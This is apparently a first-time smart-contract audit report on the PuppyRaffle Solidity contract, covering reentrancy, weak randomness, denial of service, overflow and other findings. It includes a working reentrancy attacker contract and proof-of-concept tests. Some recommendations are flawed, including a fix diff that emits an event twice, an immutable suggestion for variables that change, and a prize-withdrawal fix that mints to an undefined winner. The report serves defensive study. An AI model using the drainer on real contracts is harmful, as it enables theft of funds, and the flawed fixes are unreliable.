Prepared by: PULIN Lead Auditors:

- PULIN

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
  - Findings
  - High
    - [H-1]: `PuppyRaffle::refund` function has a reentrancy attack that allows the player to drain raffle balance
    - [H-2]: `PuppyRaffle::selectWinner` function uses on-chain random number generator, which allows attackers to front-run and manipulate results
    - [H-3] `PuppyRaffle::withdraw` Function Does Not Check if `msg.sender` is a `feeAddress`
  - Medium
    - [M-1] Looping through players array to check for duplicate player addresses in `PuppyRaffle::enterRaffle` is a potential denial of service(DOS)attack,incrementing gas cost for future entrants
    - [M-2]: Low versions of Solidity do not include overflow checking, calculation of `PuppyRaffle::totalFees` will cause integer overflow
    - [M-3]: Forcing a uint256 to uint64 Conversion Leads to Inaccurate Calculations
    - [M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest
    - [M-5]:Forcing Funds into `PuppyRaffle` via a Contract Breaks the `PuppyRaffle::withdrawFees` Condition `address(this).balance == uint256(totalFees)`
  - Low

    * [L-1] `PuppyRaffle::getActivePlayerIndex` function will return an incorrect index when the participant is the first element in the `PuppyRaffle::players` array

- Gas
  - [G-1]:Unchanged state variables should use `constant` or `immutable`
  - [G-2]:storge variable in a loop should be cached
- Information
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2]: Using an outdated version of Solidity is not recommended
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4]:Using magic number maight be not a bast parctice in solidity

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The PULIN team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This is a simple raffle contract that allows users to participate in a raffle and receive rewards after the raffle ends. The main functions of the contract include:

- `enterRaffle`:Users can join the raffle by paying a certain fee.
- `refund`:Users can request a refund during the raffle process by providing a valid index.
- `getActivePlayerIndex`:Retrieves the active index of a user.
- `changeFeeAddress`:Changes the reward address.
- `withdraw`:Withdraws rewards from the contract. This is my first contract audit, and I'm not very skilled with many of the functions. Some parts might even be considered rudimentary. I often mix up titles, descriptions, and impacts, and my categorization isn't very clear. But I believe I'll improve with time. Thank you!

Issues found

Severity	Number of issues found
High	3
Medium	5
Low	1
Info	4
Gas	2
Total	15

Findings

High

[H-1]: `PuppyRaffle::refund` function has a reentrancy attack that allows the player to drain raffle balance

Description: The function does not use the (CEI),checks-effects-interactions pattern, which is a common best practice in Solidity to prevent reentrancy attacks. in the `PuppyRaffle::refund` function, the contract first checks if the player is a winner and then transfers the funds to the player. If the player is a contract, it can call back into the `PuppyRaffle::refund` function before the state changes are completed, allowing it to drain the raffle balance.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11 @>         payable(msg.sender).sendValue(entranceFee);
12 @>         players[playerIndex] = address(0);
13         emit RaffleRefunded(playerAddress);
14     }
```

a attacker who has fallback and receive function in their contracts,can call the `PuppyRaffle::refund` function again and claim another refund .

Impact: All fees paid by raffle entrants could be stolen by the malicious player.

Proof of Concept:

1. User enter the raffle
2. Attacker sets up a contract with a fallback function that calls the `PuppyRaffle::refund`
3. Attacker enter the raffle
4. Attacker calls the `PuppyRaffle::refund` function and drain the raffle balance

Proof of code:

Code

place the following test into `PuppyRaffle.t.sol`

```
function test_refendReentrancy() public {
        address[] memory players = new address[](5);
        players[0] = playerOne;
        players[1] = address(2);
        players[2] = address(3);
        players[3] = address(4);
        players[4] = address(5);
        puppyRaffle.enterRaffle{value: entranceFee * 5}(players);

        address attacker = address(99);

        AttackContract attackContract = new AttackContract(
            address(puppyRaffle),
            attacker
        );

        vm.deal(attacker, 1 ether);

        console.log(
            "PuppyRaffle balance before attack: %s",
            address(puppyRaffle).balance
        );
        console.log("attacker before attack: %s", attacker.balance);
        vm.startPrank(attacker);
        attackContract.attack{value: entranceFee}();
        attackContract.withdraw();
        vm.stopPrank();
        console.log(
            "PuppyRaffle balance after attack: %s",
            address(puppyRaffle).balance
        );
        console.log("attacker after attack: %s", attacker.balance);
    }
```

and this attack contract check as well

```

```

```
contract AttackContract {
    PuppyRaffle puppyRaffle;
    uint256 playerIndex;
    address owner;
    uint256 entranceFee;

    constructor(address _puppyRaffle, address _owner) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        owner = _owner;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(playerIndex);
    }

    function withdraw() public {
        require(msg.sender == owner, "Only owner can withdraw");
        uint256 balance = address(this).balance;
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed.");
    }

    receive() external payable {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(playerIndex);
        }
    }

    fallback() external payable {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(playerIndex);
        }
    }
}
```

Recommended Mitigation: To prevent this ,we need `PuppyRaffle::refund`function update the players array before transferring the funds to the player.Additionally, we should move event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
```

```
7           require(
8               playerAddress != address(0),
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11  +       players[playerIndex] = address(0);
12  +       emit RaffleRefunded(playerAddress);
13  -       payable(msg.sender).sendValue(entranceFee);
14  -       players[playerIndex] = address(0);
15          emit RaffleRefunded(playerAddress);
16      }
```

[H-2]: `PuppyRaffle::selectWinner` function uses on-chain random number generator, which allows attackers to front-run and manipulate results

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` does not generate truly random numbers. Attackers can create unlimited msg.sender addresses and use timestamps to create the NFTs they want. Additionally, since Ethereum has transitioned from POW (Proof of Work) to POS (Proof of Stake), `block.difficulty` is no longer used and has been replaced with provrandao.

Impact: Malicious participants can predict results in advance and forge rare NFTs, causing the value of the contract's NFTs to decrease, which in turn leads to a sharp decline in the commercial value of the entire contract.

Proof of Concept:

1. On-chain validators can know `block.timestamp` and `block.difficulty` in advance and can create a new block. Or they can create many new addresses (`msg.sender`) to obtain the NFTs they want.
2. They can use these known variables to predict the results.
3. If the results are unsatisfactory, they can continuously roll back until they create the results they want.

Recommended Mitigation: Avoid using weak on-chain generated random numbers, and instead use off-chain cryptographically generated random numbers, such as Chainlink's VRF, link as follows: https://docs.chain.link/vrf/

[H-3] `PuppyRaffle::withdraw` Function Does Not Check if `msg.sender` is a `feeAddress`

Description: The `PuppyRaffle::withdraw` function does not verify whether `msg.sender` is the `feeAddress`. This oversight could allow anyone to directly call the function and withdraw the fee funds stored in the contract. **Impact:** This vulnerability enables the arbitrary withdrawal of all fee

funds from the contract, which undermines the intended design and completely destroys the contract's profitability. **Proof of Concept:**

1. Participants enter the raffle; assume there are 5 individuals.
2. At this point, all conditions are satisfied, and the PuppyRaffle::selectWinner function can be invoked.
3. The fees are stored in the totalFees variable.
4. Anyone can call the PuppyRaffle::withdraw function and extract the fees.

Recommended Mitigation: A check should be added to the`PuppyRaffle::withdraw` function to ensure that only the `feeAddress` can invoke it. Below is the suggested code modification:

```
    function withdraw() external {
+       require(msg.sender == feeAddress, "PuppyRaffle: Only fee address can withdraw");
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Medium

[M-1] Looping through players array to check for duplicate player addresses in `PuppyRaffle::enterRaffle` is a potential denial of service(DOS)attack,incrementing gas cost for future entrants

Description: Looping through players array to check for duplicate player addresses in `PuppyRaffle::enterRaffle` is a potential denial of service(DOS)attack.However,the longer the `PuppyRaffle::enterRaffle` function runs, the more gas it costs for future entrants to enter the raffle. that means gas cost for player who enter raffle right when the raffle stats will be lower than those who enter later.This could lead to a denial of service attack if an attacker can fill the players array with their own address.

```
//audit Dos Attack
 @> for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
```

```
                );
            }
        }
```

Impact:the gas costs for raffle entrants will extremely increase as more player enter the raffle,discouraging user who later enter the raffle from entering the raffle and causing a rush of players to enter the raffle at the beginning of the raffle.

Proof of Concept: if we have two sets of 100 players enter,the gas cost will be following:

- 1st set of players:6252039
- 2nd set of players:18068126 this more than 3x more expensive for the second 100 players.

Prof of Code

place the following test into `PuppyRaffle.t.sol`

```
    function test_denialOfService() public {
        uint256 numPlayers = 100;
        address[] memory firstPlayers = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            firstPlayers[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            firstPlayers);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = gasStart - gasEnd;
        console.log("Gas used for first players: %s", gasUsedFirst);

        address[] memory secoundPlayers = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            secoundPlayers[i] = address(i + numPlayers);
        }
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            secoundPlayers
        );
        gasEnd = gasleft();
        uint256 gasUsedSecound = gasStart - gasEnd;
        console.log("Gas used for secound players: %s", gasUsedSecound)
            ;
        assert(gasUsedFirst < gasUsedSecound);
    }
```

Recommended Mitigation:

```
mapping(address => uint256) public addressToRaffleId;
uint256 public raffleId;
.
```

```
4  .
5  .
6  function enterRaffle(address[] memory newPlayers) public payable {
7  require(
8  msg.value == entranceFee \* newPlayers.length,
9  "PuppyRaffle: Must send enough to enter raffle"
10 );
11
12     for (uint256 i = 0; i < newPlayers.length; i++) {
13
14 +         require(
15 +            addressToRaffleId[newPlayers[i]] != raffleId,
16 +            "PuppyRaffle: Player already in raffle"
17 +        );
18          players.push(newPlayers[i]);
19 +         addressToRaffleId[newPlayers[i]] = raffleId;
20        }
21 - // Check for duplicates
22 -       for (uint256 i = 0; i < players.length - 1; i++) {
23 -           for (uint256 j = i + 1; j < players.length; j++) {
24 -                require(
25 -                    players[i] != players[j],
26 -                    "PuppyRaffle: Duplicate player"
27 -                );
28 -            }
29 -        }
30        emit RaffleEnter(newPlayers);
31    }
```

[M-2]: Low versions of Solidity do not include overflow checking, calculation of `PuppyRaffle::totalFees` will cause integer overflow

Description: The function does not use the SafeMath library, which is a common best practice in Solidity to prevent integer overflow and underflow. In older versions of Solidity (below 0.8.0), the compiler does not check for integer overflow, and when the amount of money in this raffle contract exceeds uint64(2^64-1), the calculation of `PuppyRaffle::totalFees` will cause integer overflow, resulting in incorrect contract amounts and preventing the `withdraw` function from operating properly.

Impact: Let's assume that many people participate in this raffle, each with an entry fee of 1 ETH. When the amount of money in the raffle contract exceeds uint64(2^64-1), the calculation of `PuppyRaffle::totalFees` will cause integer overflow, resulting in incorrect contract amounts and preventing the `withdraw` function from operating properly.

Proof of Concept:

1. We assume 100 users enter the raffle, each with an entry fee of 1 ETH

2. We set the raffle duration to 1 day
3. We expect the total fees to be 20 ETH
4. The actual total fees are 1.55 ETH
5. Integer overflow has occurred, but the compiler didn't catch it because the version is too old!

Proof of Code:

Code

place the following test into `PuppyRaffle.t.sol`

```
    function test_overFlow() public {
        uint256 FEE_PERCENTAGE = 20;
        uint256 PRECISION = 100;
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < players.length; i++) {
            vm.deal(address(i), 1 ether);
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 expectTotalFees = ((entranceFee * players.length) *
            FEE_PERCENTAGE) / PRECISION;
        uint256 actualTotalFees = puppyRaffle.totalFees();
        console.log("expectTotalFees is:", expectTotalFees);
        console.log("actualTotalFees is:", actualTotalFees);
    }
```

Test results:

```
Logs:
  expectTotalFees is: 2000000000000000000
  actualTotalFees is: 1553255926290448384
```

Recommended Mitigation: To avoid integer overflow, you should change the compiler version to 0.8.0 or higher, or use the SafeMath library for integer overflow checking. Most importantly, change `uint64` to `uint256`, as the maximum value of `uint64` is `2^64-1`, while the maximum value of `uint256` is `2^256-1`, which will prevent integer overflow issues.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
    function selectWinner() external {
.
.
.
        uint256 fee = (totalAmountCollected * 20) / 100;
```

```
8           // Forcibly changing a uint256 value to uint64 will cause
                calculation inaccuracies
9           totalFees = totalFees + uint64(fee);
10      }
```

Note: Forcibly converting a uint256 value to uint64 here will lead to calculation inaccuracy issues. See [M-3] description for details.

[M-3]: Forcing a uint256 to uint64 Conversion Leads to Inaccurate Calculations

Description: In practical use, forcibly converting uint256 to uint64 results in inaccurate calculations. This is because the maximum value of uint64 is 2^64-1, while the maximum value of uint256 is 2^256-1. When converting from uint256 to uint64, an overflow occurs, leading to computational inaccuracies.

Impact: During actual usage, converting `uint256 fee` to `uint64(fee)` through such a forced cast often results in precision loss, undermining the original intent.

Proof of Concept:

1. We assume 100 users enter the raffle, each with an entry fee of 1 ETH.
2. We set the raffle duration to 1 day.
3. We expect the `uint256 fees`to be 18,6 ETH.
4. The actual total fees are 1.532 ETH.
5. The inaccurate Calculations has occurred.

Proof of Code:

Code

Place the following test into `PuppyRaffle.t.sol`.
Note: Through verification, we found that when the number of participants is greater than or equal to 93 and the entry fee is 1 ETH, the forced conversion leads to inaccurate calculations.

```
1       function test_ForceCast() public {
2           uint256 FEE_PERCENTAGE = 20;
3           uint256 PRECISION = 100;
4           address[] memory players = new address[](93);
5           for (uint256 i = 0; i < players.length; i++) {
6               vm.deal(address(i), 1 ether);
7               players[i] = address(i);
8           }
9           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
10          vm.warp(block.timestamp + duration + 1);
11          vm.roll(block.number + 1);
12          puppyRaffle.selectWinner();
```

```
13          uint256 expectFees = ((entranceFee * players.length) *
                FEE_PERCENTAGE) /
14              PRECISION;
15
16          uint64 actualFees = uint64(expectFees);
17          console.log("expectTotalFees is:", expectFees);
18          console.log("actualTotalFees is:", actualFees);
19      }
```

Test results:

```
1  Logs:
2    expectTotalFees is: 1860000000000000000
3    actualTotalFees is: 153255926290448384
```

Recommended Mitigation: To avoid integer overflow, you should change the `uint64` to `uint256`, as the maximum value of `uint64` is `2^64-1`, while the maximum value of `uint256` is `2^256-1`, which will prevent integer overflow issues.

```
1      function selectWinner() external {
2  .
3  .
4  .
5          uint256 fee = (totalAmountCollected * 20) / 100;
6  -        totalFees = totalFees + uint64(fee);
7  +        totalFees += fee;
8      }
```

[M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

10 smart contract wallets enter the lottery without a fallback or receive function. The lottery ends The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

Do not allow smart contract wallet entrants (not recommended) Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

```
    function selectWinner() external {
        .
        .
        .
        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
-       (bool success, ) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
-       _safeMint(winner, tokenId);
    }
+   function withdrawPrize() external {
+      uint256 prize = prizes[msg.sender];
+       require(prize > 0, "No prize to withdraw");
+       prizes[msg.sender] = 0;
+       _safeMint(winner, tokenId);
+       (bool success, ) = msg.sender.call{value: prize}("");
+       require(success, "Withdraw failed");
}
```

[M-5]:Forcing Funds into `PuppyRaffle` via a Contract Breaks the `PuppyRaffle::withdrawFees` Condition `address(this).balance == uint256(totalFees)`

Description: When a malicious actor uses a smart contract to forcibly transfer funds into the PuppyRaffle contract via selfdestruct(), the condition address(this).balance == uint256(totalFees) in the PuppyRaffle::withdrawFees function fails to hold. This prevents the feeAddress from successfully withdrawing the fees.

While it is possible to transfer funds into the PuppyRaffle contract using the same method, this behavior deviates from the contract's intended design.

Impact: This issue undermines the contract's profit mechanism, making it challenging for the contract designer to access the contract's earnings.

Proof of Concept:

1. Create a contract that uses `selfdestruct()` to forcibly send funds into the PuppyRaffle contract.
2. Call the `PuppyRaffle::withdrawFees` function and observe that it fails to execute properly.

3. The fees cannot be withdrawn as intended.

Recommended Mitigation: Two potential solutions are proposed:

1. Modify the condition to `address(this).balance >= totalFees`. This ensures that even if extra funds are forcibly sent, the feeAddress can still withdraw the fees without disruption.
2. Remove the condition entirely.

```
 function withdrawFees() external {
-       require(            address(this).balance == uint256(totalFees)
    ,"PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function will return an incorrect index when the participant is the first element in the `PuppyRaffle::players` array

Description: The function will return an index of 0 when the player is the first element in the `PuppyRaffle::players` array. This is because the function uses a for loop to iterate through the players array and check if the player address matches the input address. If it does, it returns the index. However, if the player is not found in the array, it will return 0, which is not a valid index.

Impact: The function will return an incorrect index when the participant is the first element in the `PuppyRaffle::players` array.

Proof of Concept:

1. User calls the `PuppyRaffle::getActivePlayerIndex` function with the address of the first player in the `PuppyRaffle::players` array.
2. The function will return 0, which is not a valid index.
3. The user might think the program has an error and call the `PuppyRaffle::enterRaffle` function again, causing a waste of money.

Recommended Mitigation: Revert when the participant is not in the players array.

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
```

```
6                   return i;
7               }
8           }
9   +       revert("PuppyRaffle: Player not found");
10  -       return 0;
11      }
```

Gas

[G-1]:Unchanged state variables should use `constant` or `immutable`

Reading form storage is much expensive than reading from immutable or constant variables.

instances: -`PuppyRaffle::raffleDuration`should be`immutable` -`PuppyRaffle::raffleStartTime`should be `immutable` -`PuppyRaffle::previousWinner`should be `immutable` -`PuppyRaffle::commonImageUri`should be `constant` -`PuppyRaffle::rareImageUri`should be `constant` -`PuppyRaffle::legendaryImageUri`should be `constant`

[G-2]:storge variable in a loop should be cached

every time you access a storage variable, it will cost gas. If you access the same storage variable multiple times in a loop, consider caching it in memory to save gas.

```
1   +   uint256 numPlayers = players.length;
2   .
3   .
4   .
5   -    for (uint256 i = 0; i < players.length - 1; i++) {
6   -      for (uint256 j = i + 1; j < players.length; j++)
7   +    for (uint256 i = 0; i < numPlayers; i++) {
8   +      for (uint256 j = i + 1; j < numPlayers; j++) {
9                   require(
10                      players[i] != players[j],
11                      "PuppyRaffle: Duplicate player"
12                  );
13              }
14          }
```

Information

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended

Description:

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended :

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 211

```
1 feeAddress = newFeeAddress;
```

[I-4]:Using magic number maight be not a bast parctice in solidity

Description: a magic number is a kinds of confusing when user or developer reading the code, it is better to use a constant variable instead of a magic number.

```
+uint256 private constant PRIZE_POOL_PERCENTAGE = 80;
+uint256 private constant FEE_PERCENTAGE = 20;
+uint256 private constant PRECISION = 100;
.
.
.
-uint256 prizePool = (totalAmountCollected * 80) / 100;
-uint256 fee = (totalAmountCollected * 20) / 100;
+uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    PRECISION;
+uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PRECISION;
```